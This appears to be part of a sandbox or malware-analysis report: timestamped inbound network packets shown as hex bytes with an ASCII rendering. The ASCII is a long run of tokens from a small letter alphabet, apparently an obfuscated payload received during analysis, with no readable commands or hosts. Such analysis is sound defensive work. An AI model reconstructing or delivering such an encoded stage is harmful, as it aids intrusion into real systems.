52 20 59 45 20 4f 4f 4b 20 4f 74 6f 20 4f 4f 74 20 4f 78 4f 20 4f 78 45 20 4f 78 52 20 52 78 20 59 6b 20 4b 51 20 6f 4f 6b 20 Data Ascii: YY YQ ORE OOt OxQ Ooo oER YO ox oEo kK QQ OOY o k YO Kk YR ot OQE Oto OoO OoK OOk Ex YY EY Kk YQ OoO OOt OxQ Ooo oEk oEk Ro EQ kO QK OOK OoK OOt QE YQ Yx YK QK OtK OtO Qt Qt YK ok YE EQ kx oQ OoR OxQ OOo YR oER oER YE OOK Oto OOt OxO OxE OxR Rx Yk KQ oOk
2021-10-29 15:55:36 UTC	1752	IN	Data Raw: 6f 6f 6b 20 4f 4f 4b 20 4f 4f 6b 20 4f 78 45 20 4f 4f 6f 20 59 78 20 4b 51 20 4b 6b 20 59 4b 20 4b 20 4f 4f 4b 20 6f 4b 20 6f 78 6b 20 4f 4f 6f 20 59 52 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 6f 20 4f 4f 74 20 45 52 20 4f 4f 6f 20 4f 74 6b 20 6f 4b 51 20 59 78 20 52 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 4f 4b 20 59 78 20 4f 52 59 20 4f 6f 51 20 4f 4f 4b 20 4f 6f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 6f 20 4f 4f 4b 20 4f 74 4b 20 4f 4b 78 20 4f 4f 6f 20 4b 51 20 59 6b 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52 51 20 4f 78 4b 20 4f 4f 6f 20 4f 78 6b 20 4b 51 20 59 78 20 59 4b 20 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 45 20 4f 4b 51 20 4b 6b 20 59 78 20 52 78 20 51 4b 20 4f 78 51 Data Ascii: ook OOK OOk OxE OOo Yx KQ Kk YK K OOK oK oxk OOo YR Kk Yx YK kK OOo OOt ER OOo Otk oKQ Yx Rx kK OOK OOt OxQ OOK Yx OOK Yx ORY OoQ OOK Oot OxQ OOo Yx Kk Yx YK ko OOK OtK OKx OOo KQ Yk Yx YK kY OxY RQ OxK OOo Oxk KQ Yx YK K OOK OOt OoK E OKQ Kk Yx Rx QK OxQ
2021-10-29 15:55:36 UTC	1756	IN	Data Raw: 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 6f 6f 52 20 4f 45 51 20 59 78 20 59 4b 20 6b 78 20 51 78 20 52 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 6b 6b 20 4f 4f 6f 20 59 78 20 59 6b 20 59 6f 20 4b 4f 20 51 78 20 6f 59 59 20 4b 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 6f 4f 20 6f 6f 52 20 6f 4b 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 52 51 20 74 4f 20 59 78 20 4b 6b 20 59 52 20 52 51 20 4f 78 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 45 4f 20 6f 6f 74 20 4b 6b 20 59 78 20 52 78 20 45 51 20 6f 4f 45 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 59 74 20 59 45 20 45 78 20 52 6f 20 6b 4f 20 6f 59 6f 20 6b 51 20 4f 78 59 20 4f 4f 52 20 4b 51 20 4f 20 4b 6b 20 4b 51 20 4f 6f 52 20 4f 4f 4b 20 4f 4f 51 20 52 51 20 4f 52 Data Ascii: OOt Oxk kY ooR OEQ Yx YK kx Qx RR OxQ OOo YR Rt Ox YK kK Oox oR Okk OOo Yx Yk Yo KO Qx oYY Kt OxQ OOo YO oO ooR oKY kK OOK OOE RQ tO Yx Kk YR RQ Oxk OOK OOt OxE EO oot Kk Yx Rx EQ oOE OOt OxQ Ooo Yt YE Ex Ro kO oYo kQ OxY OOR KQ O Kk KQ OoR OOK OOQ RQ OR
2021-10-29 15:55:36 UTC	1760	IN	Data Raw: 4f 6b 20 4f 4f 6f 20 4f 4f 6b 20 4f 52 20 52 52 20 59 78 20 4b 6b 20 59 4b 20 6f 6b 20 74 4b 20 4f 4f 6f 20 4f 4b 20 51 4b 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 4b 20 6f 78 20 6b 52 20 4f 4f 45 20 6b 20 51 4b 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 4b 20 4b 78 20 6b 52 20 51 20 52 59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4f 52 20 59 6f 20 6b 74 20 4f 59 20 52 59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4b 4b 20 59 6f 20 4b 74 20 74 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4f 6b 20 4b 6b 20 59 45 20 4b 4f 20 74 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4b 52 20 4b 6b 20 74 74 20 51 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 78 20 4f 52 20 59 78 20 4b 51 20 74 59 20 51 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 78 20 4b 4b 20 59 Data Ascii: Ok OOo OOk OR RR Yx Kk YK ok tK OOo OK QK OOo Yx Yo oK ox kR OOE k QK OOo Yx Yo oK Kx kR Q RY OxQ OOo YK oR OR Yo kt OY RY OxQ OOo YK oR KK Yo Kt tO OOt OxQ OOR oK Ok Kk YE KO tO OOt OxQ OOR oK KR Kk tt Qk OOK OOt OxY Qx OR Yx KQ tY Qk OOK OOt OxY Qx KK Y
2021-10-29 15:55:36 UTC	1764	IN	Data Raw: 59 20 59 78 20 4b 6b 20 59 4b 20 59 6f 20 45 51 20 6f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 74 51 20 74 78 20 59 78 20 59 4b 20 6b 78 20 4f 4f 6f 20 51 45 20 4f 59 20 4f 4f 6f 20 59 78 20 59 6b 20 6f 4b 20 4b 78 20 6b 52 20 51 20 51 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4f 52 20 59 6f 20 6b 74 20 4f 59 20 51 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4b 4b 20 59 6f 20 4b 74 20 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4f 6b 20 4b 6b 20 59 45 20 4b 4f 20 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4b 52 20 4b 6b 20 74 74 20 4b 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 78 20 4f 52 20 59 78 20 4b 51 20 74 59 20 4b 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 78 20 4b 4b 20 59 78 20 6f 52 20 6b 4b 20 6b 4b 20 4f 4f 4b Data Ascii: Y Yx Kk YK Yo EQ oOk OOt OxQ Ooo tQ tx Yx YK kx OOo QE OY OOo Yx Yk oK Kx kR Q Q OxQ OOo YK oR OR Yo kt OY Q OxQ OOo YK oR KK Yo Kt OY OOt OxQ OOR oK Ok Kk YE KO OY OOt OxQ OOR oK KR Kk tt Ko OOK OOt OxY Qx OR Yx KQ tY Ko OOK OOt OxY Qx KK Yx oR kK kK OOK
2021-10-29 15:55:36 UTC	1768	IN	Data Raw: 20 4f 4f 6b 20 78 20 4f 6f 45 20 4f 4f 6f 20 59 78 20 4b 51 20 45 45 20 4b 51 20 52 51 20 4f 4f 74 20 6b 51 20 4f 78 52 20 51 74 20 59 45 20 51 59 20 59 74 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 52 51 20 4f 74 51 20 4f 4f 59 20 6f 78 20 6f 45 6b 20 59 78 20 45 52 20 6b 52 20 51 78 20 6f 4f 59 20 4f 78 6b 20 4f 4f 6f 20 59 52 20 4f 78 20 4f 6f 78 20 6f 78 4f 20 4f 74 4f 20 4f 4b 4f 20 4f 74 4f 20 51 51 20 51 6b 20 4b 6b 20 6f 78 52 20 45 52 20 4f 4f 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 78 20 6f 20 4f 6f 45 20 59 78 20 4b 6b 20 59 52 20 6f 45 4b 20 6b 52 20 4f 20 6f 45 6b 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 45 59 20 59 6b 20 45 51 20 51 6f 20 51 78 20 51 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 59 20 51 45 20 4f 74 74 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 20 78 20 Data Ascii: OOk x OoE OOo Yx KQ EE KQ RQ OOt kQ OxR Qt YE QY Yt YK kK Oox ORQ OtQ OOY ox oEk Yx ER kR Qx oOY Oxk OOo YR Ox Oox oxO OtO OKO OtO QQ Qk Kk oxR ER OOK kK OOK OOx o OoE Yx Kk YR oEK kR O oEk Oxk OOo Yo EY Yk EQ Qo Qx Q OxQ OOo YR YY QE Ott kK OOK Oot o x
2021-10-29 15:55:36 UTC	1773	IN	Data Raw: 59 20 4f 52 20 59 4b 20 74 6b 20 6b 6f 20 51 78 20 52 6b 20 4f 4f 6b 20 59 78 20 51 20 45 78 20 4f 51 6b 20 74 74 20 4f 4f 52 20 4f 4f 74 20 4f 74 59 20 51 6f 20 6b 51 20 6f 6b 20 59 6f 20 59 4b 20 4f 59 74 20 4f 6f 52 20 45 78 20 52 59 20 4f 4f 6b 20 59 78 20 4b 74 20 4f 74 20 51 45 20 4f 6f 78 20 4f 4f 52 20 4f 4f 74 20 4f 6b 51 20 4f 6f 4b 20 6b 51 20 6f 6b 20 4f 52 20 59 4b 20 4f 51 59 20 74 74 20 51 78 20 52 6b 20 4f 78 52 20 59 78 20 4b 45 20 4f 4b 20 6b 45 20 4f 78 59 20 4f 78 4b 20 4f 4f 74 20 4f 74 59 20 51 45 20 4f 59 78 20 6f 51 20 59 6f 20 59 4b 20 4f 78 74 20 51 4b 20 4f 45 45 20 4f 4f 52 20 4f 78 52 20 59 78 20 6f 6f 4b 20 4b 4b 20 4f 4b 52 20 4f 6f 4f 20 4f 78 78 20 4f 4f 74 20 6f 45 51 20 6b 6b 20 4f 6b 4f 20 51 20 6f 78 20 59 4b 20 6b 74 Data Ascii: Y OR YK tk ko Qx Rk OOk Yx Q Ex OQk tt OOR OOt OtY Qo kQ ok Yo YK OYt OoR Ex RY OOk Yx Kt Ot QE Oox OOR OOt OkQ OoK kQ ok OR YK OQY tt Qx Rk OxR Yx KE OK kE OxY OxK OOt OtY QE OYx oQ Yo YK Oxt QK OEE OOR OxR Yx ooK KK OKR OoO Oxx OOt oEQ kk OkO Q ox YK kt
2021-10-29 15:55:36 UTC	1777	IN	Data Raw: 4b 20 4f 4f 6f 20 59 78 20 6f 59 20 59 78 20 45 6f 20 6b 4b 20 4f 6b 4f 20 4f 4f 74 20 6f 45 52 20 4f 4f 45 20 45 4b 20 4b 6b 20 4f 51 51 20 6f 59 20 6b 4b 20 4f 4f 4b 20 51 6f 20 4f 78 51 20 4f 78 6f 20 59 78 20 6f 59 45 20 59 78 20 4f 6b 45 20 6b 59 20 51 6b 20 4f 4f 74 20 45 6b 20 52 74 20 59 78 20 4b 6b 20 6f 74 20 59 4b 20 52 74 20 4f 4f 4b 20 4f 52 59 20 4f 78 51 20 6f 4b 4f 20 59 4f 20 45 6f 20 59 78 20 59 20 4f 78 45 20 4f 4f 4b 20 4f 4f 74 20 52 6b 20 4f 4f 6f 20 45 74 20 4b 6b 20 6f 45 4f 20 59 4b 20 6f 4f 45 20 4f 4f 59 20 4f 78 4f 20 4f 78 51 20 74 6b 20 4f 20 4b 6b 20 59 78 20 45 4f 20 6b 4b 20 4f 78 4f 20 4f 4f 74 20 4f 6b 4f 20 4f 4f 6f 20 4f 74 51 20 4b 51 20 45 4b 20 59 4b 20 4f 20 52 59 20 4f 4f 74 20 4f 78 51 20 6b 51 20 59 78 20 45 51 Data Ascii: K OOo Yx oY Yx Eo kK OkO OOt oER OOE EK Kk OQQ oY kK OOK Qo OxQ Oxo Yx oYE Yx OkE kY Qk OOt Ek Rt Yx Kk ot YK Rt OOK ORY OxQ oKO YO Eo Yx Y OxE OOK OOt Rk OOo Et Kk oEO YK oOE OOY OxO OxQ tk O Kk Yx EO kK OxO OOt OkO OOo OtQ KQ EK YK O RY OOt OxQ kQ Yx EQ
2021-10-29 15:55:36 UTC	1781	IN	Data Raw: 6f 20 4f 78 6b 20 4f 4f 6f 20 59 78 20 4f 4b 59 20 59 78 20 59 4b 20 6b 4b 20 4b 45 20 4f 4f 52 20 74 45 20 4f 4f 45 20 6f 45 20 59 78 20 4f 51 20 59 4b 20 4f 6b 51 20 4f 4f 78 20 4f 78 6b 20 4f 78 59 20 4f 4f 6b 20 59 78 20 4f 4b 45 20 4b 4b 20 4f 6f 6b 20 52 6b 20 4f 4f 52 20 4f 4f 74 20 6f 78 59 20 6b 6f 20 4f 45 74 20 45 6f 20 45 52 20 59 4b 20 4f 74 4b 20 4f 78 74 20 6f 4f 4f 20 4f 78 51 20 4f 78 6f 20 59 78 20 6b 78 20 45 52 20 4f 4b 4b 20 6b 4b 20 4f 78 78 20 4f 4f 74 20 74 45 20 6b 78 20 4f 4b 6b 20 4b 6b 20 45 52 20 59 4b 20 4b 74 20 4b 6b 20 6f 4f 4f 20 4f 78 51 20 4f 78 6f 20 59 78 20 4f 6f 74 20 45 4f 20 6f 4b 52 20 52 6b 20 51 51 20 4f 4f 74 20 4f 4f 59 20 4f 78 51 20 6f 4b 4f 20 45 6f 20 45 59 20 59 4b 20 51 51 20 4f 4f 4f 20 4f 6b 6f 20 4f Data Ascii: o Oxk OOo Yx OKY Yx YK kK KE OOR tE OOE oE Yx OQ YK OkQ OOx Oxk OxY OOk Yx OKE KK Ook Rk OOR OOt oxY ko OEt Eo ER YK OtK Oxt oOO OxQ Oxo Yx kx ER OKK kK Oxx OOt tE kx OKk Kk ER YK Kt Kk oOO OxQ Oxo Yx Oot EO oKR Rk QQ OOt OOY OxQ oKO Eo EY YK QQ OOO Oko O
2021-10-29 15:55:36 UTC	1784	IN	Data Raw: 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 52 6f 20 4b 4f 20 4f 4b 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 6f 78 6b 20 4f 78 74 20 6f 45 51 20 45 6f 20 59 4f 20 59 4b 20 4f 6b 6b 20 4f 78 59 20 6f 4f 4f 20 4f 78 51 20 4f 4f 45 20 59 78 20 45 59 20 4b 52 20 4f 4b 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 6b 45 20 4f 78 6b 20 59 6f 20 45 45 20 59 4f 20 59 4b 20 45 52 20 4f 4f 4f 20 4f 78 20 4f 6f 4b 20 4f 4f 45 20 59 78 20 4f 6b 52 20 4b 74 20 4f 4b 4b 20 6b 4b 20 52 59 20 4f 4f 52 20 6f 6f 6f 20 4f 6f 52 20 4f 6b 6f 20 45 45 20 4f 20 59 59 20 4f 6f 20 51 6b 20 6f 59 6f 20 4f 6f 4b 20 52 74 20 59 4f 20 52 4b 20 45 6b 20 4f 74 6b 20 52 51 20 52 59 20 4f 4f 52 20 4f 4f 78 20 4f 4f 51 20 4f 6b 6b 20 45 45 20 4f 20 59 59 20 4f 74 4b 20 4f 6f 74 20 6f 45 78 20 4f 6f 4b Data Ascii: OxQ OOE Yx ORo KO OKK kK OOY OOt oxk Oxt oEQ Eo YO YK Okk OxY oOO OxQ OOE Yx EY KR OKK kK OOY OOt kE Oxk Yo EE YO YK ER OOO Ox OoK OOE Yx OkR Kt OKK kK RY OOR ooo OoR Oko EE O YY Oo Qk oYo OoK Rt YO RK Ek Otk RQ RY OOR OOx OOQ Okk EE O YY OtK Oot oEx OoK
2021-10-29 15:55:36 UTC	1788	IN	Data Raw: 20 45 78 20 4f 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 4b 52 20 59 78 20 51 6b 20 4f 4f 6f 20 6f 45 4f 20 74 4f 20 51 59 20 4f 4f 74 20 4f 59 20 74 45 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 4f 74 6b 20 4f 4f 59 20 4f 74 74 20 74 6b 20 4f 4f 45 20 59 78 20 52 20 59 78 20 6b 6f 20 4f 78 51 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 52 4b 20 4b 6b 20 4f 51 74 20 51 20 4f 6b 78 20 51 74 20 52 74 20 4f 78 51 20 4f 51 6f 20 4f 4f 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 6f 74 20 4f 4f 74 20 4f 59 4b 20 74 51 20 6f 4f 45 20 45 59 20 4f 78 20 59 4b 20 4f 6f 20 74 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 74 74 20 59 78 20 6b 74 20 4f 78 59 20 4f 45 78 20 4f 78 6f 20 6b 74 20 4f 4f 6f 20 4f 4b 20 4f 4f 20 59 78 20 59 4b 20 6b Data Ascii: Ex OY kK OOK OOt OxQ oKR Yx Qk OOo oEO tO QY OOt OY tE Yx Kk Yx YK Otk OOY Ott tk OOE Yx R Yx ko OxQ OOK OOt OxQ OOo ORK Kk OQt Q Okx Qt Rt OxQ OQo OO Kk Yx YK kK oot OOt OYK tQ oOE EY Ox YK Oo to OOt OxQ OOo Yx Ott Yx kt OxY OEx Oxo kt OOo OK OO Yx YK k
2021-10-29 15:55:36 UTC	1792	IN	Data Raw: 45 6b 20 6f 6f 74 20 6b 4b 20 4f 45 6b 20 45 4b 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 52 4b 20 59 4b 20 4f 4f 78 20 4f 78 6b 20 4f 59 6f 20 4f 6f 4f 20 4f 52 6b 20 59 78 20 59 6b 20 4f 78 52 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 59 4f 20 4f 4f 6f 20 4f 78 45 20 4b 52 20 6f 6f 45 20 45 4b 20 4f 4b 45 20 4f 4f 4b 20 4f 78 59 20 59 45 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 52 78 20 6b 4b 20 4f 6f 51 20 4f 4f 59 20 4f 6f 6b 20 4f 78 78 20 6f 45 52 20 4b 6b 20 6b 20 4f 4f 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 45 78 20 59 78 20 4f 51 20 45 20 6f 4f 51 20 52 4b 20 4f 4b 74 20 4f 4f 74 20 45 45 20 4b 78 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 4f 51 4b 20 4f 4f 4b 20 6f 4b 59 20 4b 4b 20 4f 59 74 20 45 6b 20 6f 4f 6f 20 59 Data Ascii: Ek oot kK OEk EK OxQ OOo Yx Kk ORK YK OOx Oxk OYo OoO ORk Yx Yk OxR YK kK OOK OOt oYO OOo OxE KR ooE EK OKE OOK OxY YE OOo Yx Kk Yx ORx kK OoQ OOY Ook Oxx oER Kk k OOx kK OOK OOt OxQ oEx Yx OQ E oOQ RK OKt OOt EE Kx Yx Kk Yx YK OQK OOK oKY KK OYt Ek oOo Y
2021-10-29 15:55:36 UTC	1796	IN	Data Raw: 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 6f 6b 20 4f 4f 74 20 51 6b 20 74 6f 20 45 4f 20 59 4f 20 4f 6f 4f 20 59 59 20 4f 45 6f 20 6f 4b 74 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 52 52 20 59 78 20 4f 4b 59 20 4f 78 4b 20 4f 6f 4b 20 51 51 20 45 45 20 4f 4f 45 20 59 78 20 4f 6b 45 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 6f 74 20 4f 78 51 20 4f 74 4b 20 6f 4b 20 45 6b 20 45 52 20 4f 6f 78 20 6b 59 20 6f 4b 4f 20 6f 4b 6f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 52 4b 20 52 6f 20 6f 51 20 4f 78 74 20 4f 78 4b 20 4f 6f 45 20 52 45 20 59 4f 20 4f 6f 6b 20 4f 6b 4f 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 59 4f 20 4f 4f 6f 20 51 52 20 4b 4f 20 4f 74 20 45 6f 20 6f 74 20 4f 4f 59 20 4f 45 45 20 6f 45 4b 20 4f 4f 6f 20 59 78 20 4b 6b Data Ascii: Kk Yx YK kK ook OOt Qk to EO YO OoO YY OEo oKt OOt OxQ OOo Yx ORR Yx OKY OxK OoK QQ EE OOE Yx OkE Yx YK kK OOK oot OxQ OtK oK Ek ER Oox kY oKO oKo OxQ OOo Yx Kk ORK Ro oQ Oxt OxK OoE RE YO Ook OkO YK kK OOK OOt oYO OOo QR KO Ot Eo ot OOY OEE oEK OOo Yx Kk
2021-10-29 15:55:36 UTC	1800	IN	Data Raw: 4f 6f 59 20 4f 4f 6f 20 4f 6b 4b 20 4b 51 20 4f 45 74 20 4f 59 4f 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 4b 52 20 59 6b 20 6f 6f 52 20 59 6f 20 6f 59 59 20 6b 4b 20 6f 4b 51 20 4f 4f 52 20 4f 74 4b 20 6f 78 51 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6f 4f 78 20 4f 6f 6f 20 4f 74 59 20 4f 78 74 20 51 52 20 59 78 20 4f 6b 74 20 59 4f 20 6f 59 78 20 6f 4b 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 6b 78 20 59 52 20 4f 45 59 20 52 6f 20 6f 6f 51 20 4f 78 78 20 6f 4b 51 20 4f 78 6b 20 4f 52 4b 20 4f 4b 74 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 4b 4b 20 4f 6f 59 20 6f 78 6b 20 4f 6f 78 20 4f 45 74 20 45 6b 20 4f 51 78 20 59 59 20 4f 45 74 20 6f 4f 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 6b 6f 20 59 6b 20 4f 78 20 51 59 Data Ascii: OoY OOo OkK KQ OEt OYO kK OOK OOt OxQ oKR Yk ooR Yo oYY kK oKQ OOR OtK oxQ Yx Kk Yx YK oOx Ooo OtY Oxt QR Yx Okt YO oYx oKY OOK OOt OxQ OOo Okx YR OEY Ro ooQ Oxx oKQ Oxk ORK OKt Kk Yx YK kK oKK OoY oxk Oox OEt Ek OQx YY OEt oOO OOt OxQ OOo Yx Oko Yk Ox QY
2021-10-29 15:55:36 UTC	1805	IN	Data Raw: 20 4f 6f 52 20 4f 78 4f 20 4f 51 6f 20 4f 78 6b 20 4b 4f 20 4f 4b 6b 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 4b 4b 20 4f 6f 59 20 4f 4b 78 20 4f 6f 4b 20 52 20 45 51 20 4f 45 59 20 59 59 20 59 4b 20 6f 4f 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 6b 6f 20 59 6b 20 4f 45 20 51 78 20 74 74 20 51 6b 20 6f 4f 51 20 4f 4f 45 20 6b 6b 20 4f 59 78 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 4b 45 20 4f 78 4f 20 59 4f 20 52 78 20 4f 6f 4f 20 45 74 20 4f 6f 6b 20 6b 59 20 4f 20 6f 4f 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 6b 78 20 52 6f 20 4f 4f 4f 20 4f 6f 59 20 45 45 20 4f 6f 6f 20 4f 51 51 20 59 4f 20 74 59 20 4f 4b 6b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 45 59 20 4f 6f 78 20 4f 4f 45 20 52 45 20 4f 78 6b 20 45 45 20 6f 6f Data Ascii: OoR OxO OQo Oxk KO OKk Kk Yx YK kK oKK OoY OKx OoK R EQ OEY YY YK oOo OOt OxQ OOo Yx Oko Yk OE Qx tt Qk oOQ OOE kk OYx Yx YK kK OOK oKE OxO YO Rx OoO Et Ook kY O oOO OxQ OOo Yx Kk Okx Ro OOO OoY EE Ooo OQQ YO tY OKk YK kK OOK OOt oEY Oox OOE RE Oxk EE oo
2021-10-29 15:55:36 UTC	1809	IN	Data Raw: 59 20 6b 59 20 4f 6b 6f 20 6f 6f 78 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 6b 78 20 52 6f 20 51 74 20 4f 4f 74 20 4f 78 4f 20 4f 78 51 20 4f 74 45 20 59 4f 20 6f 59 45 20 4f 59 59 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 45 59 20 4f 6f 78 20 6f 45 20 59 74 20 6f 59 4f 20 59 4b 20 4f 45 6b 20 4f 4f 59 20 4f 52 78 20 4f 51 52 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 74 52 20 51 6f 20 51 6f 20 4f 6f 4b 20 4f 6f 59 20 4f 4f 6f 20 6f 45 52 20 4b 51 20 6f 45 52 20 4f 59 51 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 4b 52 20 59 6b 20 6f 45 4b 20 59 74 20 4b 59 20 6b 4b 20 4f 74 45 20 4f 4f 52 20 4f 45 51 20 6f 4f 74 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6f 4f 78 20 4f 6f 6f 20 4f 59 78 20 4f 78 6f 20 59 74 20 59 59 20 6f 45 51 20 59 Data Ascii: Y kY Oko oox OxQ OOo Yx Kk Okx Ro Qt OOt OxO OxQ OtE YO oYE OYY YK kK OOK OOt oEY Oox oE Yt oYO YK OEk OOY ORx OQR OOo Yx Kk Yx OtR Qo Qo OoK OoY OOo oER KQ oER OYQ kK OOK OOt OxQ oKR Yk oEK Yt KY kK OtE OOR OEQ oOt Yx Kk Yx YK oOx Ooo OYx Oxo Yt YY oEQ Y
2021-10-29 15:55:36 UTC	1813	IN	Data Raw: 20 4f 78 51 20 4f 4f 6f 20 4f 74 74 20 4b 6b 20 6f 78 6b 20 59 59 20 4f 59 45 20 4f 4f 4b 20 6f 51 20 4f 4f 4f 20 6f 4b 78 20 4f 59 52 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 4b 4f 20 4f 4f 74 20 6f 74 20 4f 4f 59 20 4f 51 45 20 4b 78 20 51 4f 20 59 6f 20 4f 4b 4f 20 6f 6f 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 52 4f 20 4b 6f 20 4f 45 6f 20 51 52 20 4f 6b 51 20 51 74 20 74 20 4f 4f 4b 20 6f 4f 59 20 4f 59 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 4b 45 20 4f 4f 74 20 6f 59 4b 20 52 20 4b 51 20 59 78 20 51 6f 20 6b 52 20 4f 59 51 20 6f 4f 51 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 74 74 20 59 4b 20 59 51 20 4f 4f 6f 20 4f 59 6b 20 4f 6f 6f 20 6f 52 20 4b 6b 20 4f 51 6f 20 4f 59 52 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 Data Ascii: OxQ OOo Ott Kk oxk YY OYE OOK oQ OOO oKx OYR Kk Yx YK kK oKO OOt ot OOY OQE Kx QO Yo OKO oox OOt OxQ OOo Yx ORO Ko OEo QR OkQ Qt t OOK oOY OYk Yx YK kK OOK oKE OOt oYK R KQ Yx Qo kR OYQ oOQ OxQ OOo Yx Kk Ott YK YQ OOo OYk Ooo oR Kk OQo OYR YK kK OOK OOt
2021-10-29 15:55:36 UTC	1816	IN	Data Raw: 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f Data Ascii: Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OOE OO
